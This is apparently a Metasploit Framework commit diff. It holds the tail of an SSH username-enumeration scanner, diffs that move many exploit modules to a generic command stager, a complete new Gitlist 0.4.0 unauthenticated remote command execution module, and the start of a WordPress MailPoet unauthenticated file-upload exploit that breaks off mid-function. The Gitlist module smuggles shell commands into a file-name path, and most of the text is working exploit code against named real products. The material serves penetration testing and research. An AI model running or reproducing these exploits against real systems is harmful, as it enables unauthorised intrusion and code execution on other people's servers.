|
||||
datastore['RETRY_NUM']
|
||||
end
|
||||
|
||||
def check_vulnerable(ip)
|
||||
options = {
|
||||
:port => rport,
|
||||
:auth_methods => ['password', 'keyboard-interactive'],
|
||||
:msframework => framework,
|
||||
:msfmodule => self,
|
||||
:disable_agent => true,
|
||||
:config => false,
|
||||
:proxies => datastore['Proxies']
|
||||
}
|
||||
|
||||
begin
|
||||
transport = Net::SSH::Transport::Session.new(ip, options)
|
||||
rescue Rex::ConnectionError, Rex::AddressInUse
|
||||
return :connection_error
|
||||
end
|
||||
|
||||
auth = Net::SSH::Authentication::Session.new(transport, options)
|
||||
auth.authenticate("ssh-connection", Rex::Text.rand_text_alphanumeric(8), Rex::Text.rand_text_alphanumeric(8))
|
||||
auth_method = auth.allowed_auth_methods.join('|')
|
||||
print_status "#{peer(ip)} Server Version: #{auth.transport.server_version.version}"
|
||||
report_service(
|
||||
:host => ip,
|
||||
:port => rport,
|
||||
:name => "ssh",
|
||||
:proto => "tcp",
|
||||
:info => auth.transport.server_version.version
|
||||
)
|
||||
|
||||
if auth_method.empty?
|
||||
:vulnerable
|
||||
else
|
||||
:safe
|
||||
end
|
||||
end
|
||||
|
||||
def check_user(ip, user, port)
|
||||
pass = Rex::Text.rand_text_alphanumeric(8)
|
||||
|
||||
opt_hash = {
|
||||
:auth_methods => ['password', 'keyboard-interactive'],
|
||||
:msframework => framework,
|
||||
:msfmodule => self,
|
||||
:port => port,
|
||||
:disable_agent => true,
|
||||
:config => false,
|
||||
:proxies => datastore['Proxies']
|
||||
}
|
||||
|
||||
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
|
||||
transport = Net::SSH::Transport::Session.new(ip, opt_hash)
|
||||
auth = Net::SSH::Authentication::Session.new(transport, opt_hash)
|
||||
|
||||
begin
|
||||
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
|
||||
auth.authenticate("ssh-connection", user, pass)
|
||||
auth_method = auth.allowed_auth_methods.join('|')
|
||||
if auth_method != ''
|
||||
:success
|
||||
else
|
||||
:fail
|
||||
end
|
||||
end
|
||||
rescue Rex::ConnectionError, Rex::AddressInUse
|
||||
return :connection_error
|
||||
rescue Net::SSH::Disconnect, ::EOFError
|
||||
return :success
|
||||
rescue ::Timeout::Error
|
||||
return :connection_error
|
||||
end
|
||||
end
|
||||
|
||||
def do_report(ip, user, port)
|
||||
report_auth_info(
|
||||
:host => ip,
|
||||
:port => rport,
|
||||
:sname => 'ssh',
|
||||
:user => user,
|
||||
:active => true
|
||||
)
|
||||
end
|
||||
|
||||
def peer(rhost=nil)
|
||||
"#{rhost}:#{rport} SSH -"
|
||||
end
|
||||
|
||||
def user_list
|
||||
users = nil
|
||||
if File.readable? datastore['USER_FILE']
|
||||
users = File.new(datastore['USER_FILE']).read.split
|
||||
users.each {|u| u.downcase!}
|
||||
users.uniq!
|
||||
else
|
||||
raise ArgumentError, "Cannot read file #{datastore['USER_FILE']}"
|
||||
end
|
||||
|
||||
users
|
||||
end
|
||||
|
||||
def attempt_user(user, ip)
|
||||
attempt_num = 0
|
||||
ret = nil
|
||||
|
||||
while (attempt_num <= retry_num) && (ret.nil? || ret == :connection_error)
|
||||
if attempt_num > 0
|
||||
Rex.sleep(2 ** attempt_num)
|
||||
print_debug "#{peer(ip)} Retrying '#{user}' due to connection error"
|
||||
end
|
||||
|
||||
ret = check_user(ip, user, rport)
|
||||
attempt_num += 1
|
||||
end
|
||||
|
||||
ret
|
||||
end
|
||||
|
||||
def show_result(attempt_result, user, ip)
|
||||
case attempt_result
|
||||
when :success
|
||||
print_good "#{peer(ip)} User '#{user}' found"
|
||||
do_report(ip, user, rport)
|
||||
when :connection_error
|
||||
print_error "#{peer(ip)} User '#{user}' could not connect"
|
||||
when :fail
|
||||
vprint_status "#{peer(ip)} User '#{user}' not found"
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
print_status "#{peer(ip)} Checking for vulnerability"
|
||||
case check_vulnerable(ip)
|
||||
when :vulnerable
|
||||
print_good "#{peer(ip)} Vulnerable"
|
||||
print_status "#{peer(ip)} Starting scan"
|
||||
user_list.each do |user|
|
||||
show_result(attempt_user(user, ip), user, ip)
|
||||
end
|
||||
when :safe
|
||||
print_error "#{peer(ip)} Not vulnerable"
|
||||
when :connection_error
|
||||
print_error "#{peer(ip)} Connection failed"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStagerEcho
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -51,8 +51,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => 'Feb 08 2013',
|
||||
'DefaultTarget' => 0))
|
||||
'DisclosureDate' => 'Feb 08 2013',
|
||||
'DefaultTarget' => 0))
|
||||
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
|
||||
end
|
||||
|
||||
def check
|
||||
|
@ -81,6 +82,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
print_status("#{peer} - Exploiting...")
|
||||
execute_cmdstager(
|
||||
:flavor => :echo,
|
||||
:linemax => 200,
|
||||
:concat_operator => " && "
|
||||
)
|
||||
|
|
|
@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStagerEcho
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -50,8 +50,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => 'Feb 08 2013',
|
||||
'DefaultTarget' => 0))
|
||||
'DisclosureDate' => 'Feb 08 2013',
|
||||
'DefaultTarget' => 0))
|
||||
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
|
||||
end
|
||||
|
||||
def check
|
||||
|
@ -80,6 +81,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
print_status("#{peer} - Exploiting...")
|
||||
execute_cmdstager(
|
||||
:flavor => :echo,
|
||||
:linemax => 200,
|
||||
:concat_operator => " && "
|
||||
)
|
||||
|
|
|
@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStagerEcho
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -59,8 +59,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
|
||||
end
|
||||
|
||||
def check
|
||||
|
@ -109,6 +110,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("#{peer} - Exploiting...")
|
||||
|
||||
execute_cmdstager(
|
||||
:flavor => :echo,
|
||||
:linemax => 92
|
||||
)
|
||||
end
|
||||
|
|
|
@ -0,0 +1,119 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Gitlist Unauthenticated Remote Command Execution',
|
||||
'Description' => %q{
|
||||
This module exploits an unauthenticated remote command execution vulnerability
|
||||
in version 0.4.0 of Gitlist. The problem exists in the handling of an specially
|
||||
crafted file name when trying to blame it.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Privileged' => false,
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Author' =>
|
||||
[
|
||||
'drone', #discovery/poc by @dronesec
|
||||
'Brandon Perry <bperry.volatile@gmail.com>' #Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-4511'],
|
||||
['EDB', '33929'],
|
||||
['URL', 'http://hatriot.github.io/blog/2014/06/29/gitlist-rce/']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 8192, # max length of GET request really
|
||||
'BadChars' => "&\x20",
|
||||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic telnet python perl bash gawk netcat netcat-e ruby php openssl',
|
||||
}
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
['Gitlist 0.4.0', { }]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jun 30 2014'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
repo = get_repo
|
||||
|
||||
if repo.nil?
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
chk = Rex::Text.encode_base64(rand_text_alpha(rand(32)+5))
|
||||
|
||||
res = send_command(repo, "echo${IFS}" + chk + "|base64${IFS}--decode")
|
||||
|
||||
if res && res.body
|
||||
if res.body.include?(Rex::Text.decode_base64(chk))
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
elsif res.body.to_s =~ /sh.*not found/
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
repo = get_repo
|
||||
if repo.nil?
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to retrieve the remote repository")
|
||||
end
|
||||
send_command(repo, payload.encoded)
|
||||
end
|
||||
|
||||
def get_repo
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, "/")
|
||||
})
|
||||
|
||||
unless res
|
||||
return nil
|
||||
end
|
||||
|
||||
first_repo = /href="\/gitlist\/(.*)\/"/.match(res.body)
|
||||
|
||||
unless first_repo && first_repo.length >= 2
|
||||
return nil
|
||||
end
|
||||
|
||||
repo_name = first_repo[1]
|
||||
|
||||
repo_name
|
||||
end
|
||||
|
||||
def send_command(repo, cmd)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, repo, 'blame', 'master', '""`' + cmd + '`')
|
||||
}, 1)
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
end
|
|
@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStagerEcho
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -62,8 +62,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
|
||||
end
|
||||
|
||||
|
||||
|
@ -115,7 +116,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
print_status("#{peer} - Exploiting...")
|
||||
execute_cmdstager
|
||||
execute_cmdstager({:flavor => :echo})
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStagerEcho
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -48,7 +48,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
OptAddress.new('RHOST', [true, 'The address of the router', '192.168.1.1']),
|
||||
OptInt.new('TIMEOUT', [false, 'The timeout to use in every request', 20])
|
||||
], self.class)
|
||||
|
||||
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
|
||||
end
|
||||
|
||||
def check
|
||||
|
@ -71,7 +71,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def exploit
|
||||
test_login
|
||||
|
||||
execute_cmdstager
|
||||
execute_cmdstager({:flavor => :echo})
|
||||
end
|
||||
|
||||
# Sends an HTTP request with authorization header to the router
|
||||
|
|
|
@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::CmdStagerEcho
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
|
@ -133,7 +133,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
OptBool.new('NOARGS', [false, "Don't use the echo -en parameters", false ]),
|
||||
OptEnum.new('ENCODING', [false, "Payload encoding to use", 'hex', ['hex', 'octal']]),
|
||||
], self.class)
|
||||
|
||||
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
|
||||
end
|
||||
|
||||
def check
|
||||
|
@ -168,7 +168,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
execute_cmdstager(
|
||||
:noargs => @no_args,
|
||||
:temp => @upload_path,
|
||||
:enc_format => @encoding_format
|
||||
:enc_format => @encoding_format,
|
||||
:flavor => :echo
|
||||
)
|
||||
end
|
||||
|
||||
|
|
|
@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
include REXML
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStagerVBS
|
||||
include Msf::Exploit::Remote::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -50,7 +50,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[ 'HP SiteScope 11.20 / Windows',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'win'
|
||||
'Platform' => 'win',
|
||||
'CmdStagerFlavor' => 'vbs'
|
||||
}
|
||||
],
|
||||
[ 'HP SiteScope 11.20 / Linux',
|
||||
|
|
|
@ -8,7 +8,7 @@ require 'msf/core'
|
|||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::CmdStagerVBS
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info={})
|
||||
|
@ -41,19 +41,23 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[
|
||||
['Linux', {
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86
|
||||
'Arch' => ARCH_X86,
|
||||
'CmdStagerFlavor' => 'bourne'
|
||||
}],
|
||||
['Linux (x64)', {
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86_64
|
||||
'Arch' => ARCH_X86_64,
|
||||
'CmdStagerFlavor' => 'bourne'
|
||||
}],
|
||||
['Windows', {
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86
|
||||
'Arch' => ARCH_X86,
|
||||
'CmdStagerFlavor' => 'vbs'
|
||||
}],
|
||||
['Windows (x64)', {
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86_64
|
||||
'Arch' => ARCH_X86_64,
|
||||
'CmdStagerFlavor' => 'vbs'
|
||||
}],
|
||||
],
|
||||
'Privileged' => false,
|
||||
|
@ -121,11 +125,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
|
||||
def setup_stager
|
||||
case target.opts['Platform']
|
||||
when "linux" then opts = { :temp => './', :linemax => 2800 }
|
||||
when "win" then opts = { :temp => '.', :linemax => 2800 }
|
||||
end
|
||||
execute_cmdstager(opts)
|
||||
execute_cmdstager(:temp => './', :linemax => 2800)
|
||||
end
|
||||
|
||||
|
||||
|
@ -194,8 +194,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def exploit
|
||||
@cookie = ''
|
||||
|
||||
extend Msf::Exploit::CmdStagerBourne if target.opts['Platform'] == "linux"
|
||||
|
||||
setup_stager
|
||||
end
|
||||
end
|
||||
|
|
|
@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStagerVBS
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[
|
||||
# Tested on Hyperic HQ versions 4.5.2-win32 and 4.6.6-win32 on Windows XP SP3 and Ubuntu 10.04
|
||||
['Automatic', {} ],
|
||||
['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win'}],
|
||||
['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => 'vbs'}],
|
||||
['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }],
|
||||
['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}]
|
||||
],
|
||||
|
@ -247,7 +247,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
|
||||
# login
|
||||
|
@ -281,7 +280,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# send payload
|
||||
case @my_target['Platform']
|
||||
when 'win'
|
||||
print_status("#{peer} - Sending VBS stager...")
|
||||
print_status("#{peer} - Sending command stager...")
|
||||
execute_cmdstager({:linemax => 2049})
|
||||
when 'unix'
|
||||
print_status("#{peer} - Sending UNIX payload...")
|
||||
|
|
|
@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStagerVBS
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -33,10 +33,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console']
|
||||
],
|
||||
'Platform' => %w{ win linux unix },
|
||||
'Targets' =>
|
||||
'Targets' =>
|
||||
[
|
||||
['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win'}],
|
||||
['Linux', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }],
|
||||
['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => 'vbs'}],
|
||||
['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }],
|
||||
['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}]
|
||||
],
|
||||
'DisclosureDate' => 'Jan 18 2013',
|
||||
|
@ -169,7 +169,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
case target['Platform']
|
||||
when 'win'
|
||||
print_status("#{rhost}:#{rport} - Sending VBS stager...")
|
||||
print_status("#{rhost}:#{rport} - Sending command stager...")
|
||||
execute_cmdstager({:linemax => 2049})
|
||||
when 'unix'
|
||||
print_status("#{rhost}:#{rport} - Sending payload...")
|
||||
|
|
|
@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStagerVBS
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Platform' => %w{ win unix },
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows', { 'Arch'=>ARCH_X86, 'Platform'=>'win'} ],
|
||||
[ 'Windows', { 'Arch'=>ARCH_X86, 'Platform'=>'win', 'CmdStagerFlavor' => 'vbs'} ],
|
||||
[ 'Unix', { 'Arch'=>ARCH_CMD, 'Platform'=>'unix', 'Payload'=>{'BadChars' => "\x22"}} ]
|
||||
],
|
||||
'DisclosureDate' => 'Dec 06 2012'))
|
||||
|
@ -113,7 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def exploit
|
||||
case target['Platform']
|
||||
when 'win'
|
||||
print_status("#{rhost}:#{rport} - Sending VBS stager...")
|
||||
print_status("#{rhost}:#{rport} - Sending command stager...")
|
||||
execute_cmdstager({:linemax=>500})
|
||||
|
||||
when 'unix'
|
||||
|
|
|
@ -8,7 +8,7 @@ require 'msf/core'
|
|||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::CmdStagerTFTP
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -42,7 +42,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
['Windows Universal',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'win'
|
||||
'Platform' => 'win',
|
||||
'CmdStagerFlavor' => 'tftp'
|
||||
}
|
||||
],
|
||||
['Linux Universal',
|
||||
|
@ -88,10 +89,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def windows_stager
|
||||
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
|
||||
|
||||
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
|
||||
execute_cmdstager({ :temp => '.'})
|
||||
execute_cmdstager({ :temp => '.' })
|
||||
@payload_exe = payload_exe
|
||||
|
||||
print_status("Attempting to execute the payload...")
|
||||
|
|
|
@ -8,7 +8,7 @@ require 'msf/core'
|
|||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::CmdStagerTFTP
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -45,7 +45,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
['Windows Universal',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'win'
|
||||
'Platform' => 'win',
|
||||
'CmdStagerFlavor' => 'tftp'
|
||||
}
|
||||
],
|
||||
['Linux Universal',
|
||||
|
@ -94,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
|
||||
|
||||
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
|
||||
execute_cmdstager({ :temp => '.'})
|
||||
execute_cmdstager({ :temp => '.' })
|
||||
@payload_exe = payload_exe
|
||||
|
||||
print_status("Attempting to execute the payload...")
|
||||
|
|
|
@ -12,7 +12,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Exploit::CmdStagerVBS
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
|
@ -56,7 +56,8 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
[ 'Windows Universal',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'win'
|
||||
'Platform' => 'win',
|
||||
'CmdStagerFlavor' => 'vbs'
|
||||
},
|
||||
],
|
||||
],
|
||||
|
|
|
@ -26,7 +26,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::CmdStagerVBS
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
|
@ -66,7 +66,8 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
[ 'Windows x64',
|
||||
{
|
||||
'Arch' => ARCH_X86_64,
|
||||
'Platform' => 'win'
|
||||
'Platform' => 'win',
|
||||
'CmdStagerFlavor' => 'vbs'
|
||||
}
|
||||
]
|
||||
],
|
||||
|
|
|
@ -26,7 +26,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::CmdStagerVBS
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
|
@ -67,7 +67,8 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
[ 'Windows x64',
|
||||
{
|
||||
'Arch' => ARCH_X86_64,
|
||||
'Platform' => 'win'
|
||||
'Platform' => 'win',
|
||||
'CmdStagerFlavor' => 'vbs'
|
||||
}
|
||||
]
|
||||
],
|
||||
|
|
|
@ -9,7 +9,7 @@ require 'net/ssh'
|
|||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Exploit::CmdStagerBourne
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
attr_accessor :ssh_socket
|
||||
|
||||
|
@ -46,21 +46,22 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'linux'
|
||||
},
|
||||
}
|
||||
],
|
||||
[ 'Linux x64',
|
||||
{
|
||||
'Arch' => ARCH_X86_64,
|
||||
'Platform' => 'linux'
|
||||
},
|
||||
}
|
||||
],
|
||||
[ 'OSX x86',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'osx'
|
||||
},
|
||||
],
|
||||
}
|
||||
]
|
||||
],
|
||||
'CmdStagerFlavor' => %w{ bourne echo printf },
|
||||
'DefaultTarget' => 0,
|
||||
# For the CVE
|
||||
'DisclosureDate' => 'Jan 01 1999'
|
||||
|
@ -83,6 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
vprint_status("Executing #{cmd}")
|
||||
begin
|
||||
Timeout.timeout(3) do
|
||||
self.ssh_socket.exec!("#{cmd}\n")
|
||||
|
@ -125,7 +127,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def exploit
|
||||
do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT'])
|
||||
|
||||
print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending Bourne stager...")
|
||||
print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending stager...")
|
||||
execute_cmdstager({:linemax => 500})
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,143 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::HTTP::Wordpress
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Wordpress MailPoet Newsletters (wysija-newsletters) Unauthenticated File Upload',
|
||||
'Description' => %q{
|
||||
The Wordpress plugin "MailPoet Newsletters" (wysija-newsletters) before 2.6.8
|
||||
is vulnerable to an unauthenticated file upload. The exploit uses the Upload Theme
|
||||
functionality to upload a zip file containing the payload. The plugin uses the
|
||||
admin_init hook, which is also executed for unauthenticated users when accessing
|
||||
a specific URL. The first fix for this vulnerability appeared in version 2.6.7,
|
||||
but the fix can be bypassed. In PHP's default configuration,
|
||||
a POST variable overwrites a GET variable in the $_REQUEST array. The plugin
|
||||
uses $_REQUEST to check for access rights. By setting the POST parameter to
|
||||
something not beginning with 'wysija_', the check is bypassed. Wordpress uses
|
||||
the $_GET array to determine the page, so it is not affected by this.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Marc-Alexandre Montpas', # initial discovery
|
||||
'Christian Mehlmauer' # metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html' ],
|
||||
[ 'URL', 'http://www.mailpoet.com/security-update-part-2/'],
|
||||
[ 'URL', 'https://plugins.trac.wordpress.org/changeset/943427/wysija-newsletters/trunk/helpers/back.php']
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [ ['wysija-newsletters < 2.6.8', {}] ],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jul 1 2014'))
|
||||
end
|
||||
|
||||
def create_zip_file(theme_name, payload_name)
|
||||
# the zip file must match the following:
|
||||
